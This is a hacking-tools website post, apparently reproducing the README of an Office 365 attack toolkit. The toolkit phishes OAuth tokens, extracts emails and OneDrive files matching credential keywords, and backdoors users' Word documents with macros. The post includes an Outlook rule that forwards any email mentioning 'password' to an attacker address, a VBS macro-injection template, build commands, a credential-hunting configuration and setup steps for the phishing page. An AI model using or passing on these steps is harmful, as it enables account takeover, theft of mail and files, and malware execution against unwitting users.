• Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Menu
  • Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Search
Close
  • Home
  • 2019
  • July
  • 27
  • O365 Attack Toolkit – A Toolkit to Attack Office365

O365 Attack Toolkit – A Toolkit to Attack Office365

July 27, 2019July 27, 2019 Comments Off on O365 Attack Toolkit – A Toolkit to Attack Office365
o365 hacks o365 red team office 365 exploits office 365 hacking framework

o365-attack-toolkit allows operators to perform an OAuth phishing attack and later on use the Microsoft Graph API to extract interesting information.

Some of the implemented features are :

  • Extraction of keyworded e-mails from Outlook.
  • Creation of Outlook Rules.
  • Extraction of files from OneDrive/Sharepoint.
  • Injection of macros on Word documents.

Architecture

The toolkit consists of several components

Phishing endpoint

The phishing endpoint is responsible for serving the HTML file that performs the OAuth token phishing.

Backend services

Afterward, the token will be used by the backend services to perform the defined attacks.

Management interface

The management interface can be utilized to inspect the extracted information from the Microsoft Graph API.

Features

Outlook Keyworded Extraction

User emails can be extracted by this toolkit using keywords. For every defined keyword in the configuration file, all the emails that match them will be downloaded and saved in the database. The operator can inspect the downloaded emails through the management interface.

Onedrive/Sharepoint Keyworded Extraction

Microsoft Graph API can be used to access files across OneDrive, OneDrive for Business and SharePoint document libraries. User files can be extracted by this toolkit using keywords. For every defined keyword in the configuration file, all the documents that match them will be downloaded and saved locally. The operator can examine the documents using the management interface.

Outlook Rules Creation

Microsoft Graph API supports the creation of Outlook rules. You can define different rules by putting the rule JSON files in the rules/ folder. https://docs.microsoft.com/en-us/graph/api/mailfolder-post-messagerules?view=graph-rest-1.0&tabs=cs

Below is an example rule that when loaded, it will forward every email that contains password in the body to [email protected].

{      
    "displayName": "Example Rule",      
    "sequence": 2,      
    "isEnabled": true,          
    "conditions": {
        "bodyContains": [
          "password"       
        ]
     },
     "actions": {
        "forwardTo": [
          {
             "emailAddress": {
                "name": "Attacker Email",
                "address": "[email protected]"
              }
           }
        ],
        "stopProcessingRules": false
     }    
}

Word Document Macro Backdooring

Users documents hosted on OneDrive can be backdoored by injecting macros. If this feature is enabled, the last 15 documents accessed by the user will be downloaded and backdoored with the macro defined in the configuration file. After the backdoored file has been uploaded, the extension of the document will be changed to .doc in order for the macro to be supported on Word. It should be noted that after backdooring the documents, they can not be edited online which increases the chances of our payload execution.

This functionality can only be used on Windows because the insertion of macros is done using the Word COM object. A VBS file is built by the template below and executed so don’t panic if you see wscript.exe running.

	Dim wdApp
	Set wdApp = CreateObject("Word.Application")
	wdApp.Documents.Open("{DOCUMENT}")
	wdApp.Documents(1).VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "{MACRO}"
	wdApp.Documents(1).SaveAs2 "{OUTPUT}", 0
	wdApp.Quit

How to set up

Compile

cd %GOPATH%
git clone https://github.com/0x09AL/o365-attack-toolkit
cd o365-attack-toolkit
dep ensure
go build

Configuration

An example configuration as below :

[server]
host = 127.0.0.1 ; The ip address for the external listener.
externalport = 30662 ; Port for the external listener
certificate = server.crt ; Certificate for the external listener
key = server.key ; Key for the external listener
internalport = 8080 ; Port for the internal listener.

; Keywords used for extracting emails and files of a user.
[keywords]
outlook = pass,vpn,creds,credentials
onedrive = password,.config,.xml,db,database,mbd 

[backdoor]
enabled = true ; Enable/Disable this feature
macro = "C:\\Test.bas" ; The location of the macro file to use for backdooring documents

Deployment

Before start using this toolkit you need to create an Application on the Azure Portal. Go to Azure Active Directory -> App Registrations -> Register an application.

After creating the application, copy the Application ID and change it on static/index.html.

The URL(external listener) that will be used for phishing should be added as a Redirect URL. To add a redirect url, go the application and click Add a Redirect URL.

The Redirect URL should be the URL that will be used to host the phishing endpoint, in this case https://myphishingurl.com/

Make sure to check both the boxes as shown below :

It should be noted that you can run this tool on any Operating Systems that Go supports, but the Macro Backdooring Functionality will only work on Windows.

The look of the phishing page can be changed on static/index.html.

Security Considerations

Apart from all the features this tool has, it also opens some attack surface on the host running the tool. Firstly, the Macro Backdooring Functionality will open the word files, and if you are running an unpatched version of Office, bad things can happen. Additionally, the extraction of files can download malicious files which will be saved on your computer.

The best approach would be isolating the host properly and only allowing communication with the HTTPS redirector and Microsoft Graph API.

Management Interface

The management interface allows the operator to browse the data that has been extracted.

Users view

View User Emails

View Email

Post navigation

XSpear: Powerfull XSS Scanning and Parameter Analysis tool
Cryptoforge – Encryption and Privacy Software

Related Articles

TheTick – A simple embedded Linux backdoor

- Exploitation
October 14, 2019

Ispy – Eternalblue (MS17-010) / Bluekeep (CVE-2019-0708) Scanner And Exploit

- Payload Generators, Payloads
October 12, 2019

ConPtyShell – Fully Interactive Reverse Shell for Windows

- Exploitation
October 10, 2019October 10, 2019
hacker gadgets
hacker phone covers

Recent Posts

Microsoft Exchange Server Remote Code Execution Vulnerability Alert

Microsoft Exchange Server Remote Code Execution Vulnerability Alert

April 15, 2021
Chrome vulnerability

Chrome 89.0.4389.128 releases: fix two critical security vulnerability

April 14, 2021
September Patch Tuesday

Microsoft Patch Tuesday 2021 April: fix 114 security vulnerabilities

April 14, 2021
COVID Unemployment Scammer Sentenced to Prison

COVID Unemployment Scammer Sentenced to Prison

April 13, 2021
Researcher Publishes Chrome 0-Day Remote Code Execution Vulnerability

Researcher Publishes Chrome 0-Day Remote Code Execution Vulnerability

April 13, 2021
Former Police Employee Denies Selling Guns on the Darkweb

Former Police Employee Denies Selling Guns on the Darkweb

April 12, 2021

Social Media Hacking

SocialPath – Track users across Social Media Platforms

SocialPath – Track users across Social Media Platforms

- Social Media Hacking
October 16, 2019October 16, 2019

SocialPath is a django application for gathering social media intelligence on specific username. It checks for Twitter, Instagram, Facebook, Reddit...

SocialScan – Check Email Address and Username Availability on Online Platforms

SocialScan – Check Email Address and Username Availability on Online Platforms

June 17, 2019
Shellphish – Phishing Tool For 18 Social Media Apps

Shellphish – Phishing Tool For 18 Social Media Apps

June 10, 2019July 27, 2019
WhatsApp Hacking using QRLJacking

WhatsApp Hacking using QRLJacking

May 2, 2019May 19, 2019
How to Hack any Facebook Account with Z-Shadow

How to Hack any Facebook Account with Z-Shadow

April 26, 2019June 29, 2020
hacker buffs
ABOUT US

Haxf4rall is a collective, a good starting point and provides a variety of quality material for cyber security professionals.

Our primary focus revolves around the latest tools released in the Infosec community and provide a platform for developers to showcase their skillset and current projects.

COMPANY
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Menu
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Live Chat
RESOURCES
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Menu
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Get Started
TOOLBOX
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Menu
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Tools Directory

2014 – 2020 | Haxf4rall.com               Stay Connected:

Facebook
Twitter
Google-plus
Wordpress
Please wait...

Join Our Community

Subscribe now and get your free HACKERS HANDBOOK

Don't Worry ! You will not be spammed
SIGN UP FOR NEWSLETTER NOW